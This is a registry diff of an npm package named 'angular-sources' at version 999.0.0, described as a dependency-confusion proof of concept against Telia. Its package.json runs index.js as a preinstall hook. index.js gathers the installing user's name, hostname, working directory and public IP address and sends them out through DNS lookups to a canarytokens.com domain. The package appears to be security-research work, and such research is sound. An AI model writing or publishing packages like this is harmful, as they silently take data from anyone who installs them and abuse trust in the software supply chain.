angular-sources 999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +21 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,21 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const https = require('https');
4
+
5
+ const username = process.env.USER || process.env.USERNAME || 'nouser';
6
+ const hostname = os.hostname();
7
+ const cwd = process.cwd();
8
+
9
+ const marker = `${username}-${hostname}-${Date.now()}`.replace(/[^a-zA-Z0-9\-]/g, '');
10
+ const dnsToken = 'n76rqf9zwul1hhhy3zwvehte1.canarytokens.com';
11
+
12
+ dns.lookup(`${marker}.${dnsToken}`, () => {});
13
+ dns.lookup(`${marker}-cwd-${cwd.replace(/[^a-zA-Z0-9\-]/g, '').slice(-50)}.${dnsToken}`, () => {});
14
+
15
+ https.get("https://api.ipify.org", (res) => {
16
+ res.setEncoding("utf8");
17
+ res.on("data", (ip) => {
18
+ const ipMarker = ip.replace(/\./g, '-');
19
+ dns.lookup(`${marker}-ip-${ipMarker}.${dnsToken}`, () => {});
20
+ });
21
+ }).on("error", () => {});
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "angular-sources",
3
+ "version": "999.0.0",
4
+ "description": "PoC for dependency confusion - Telia",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "Security Researcher",
10
+ "license": "MIT"
11
+ }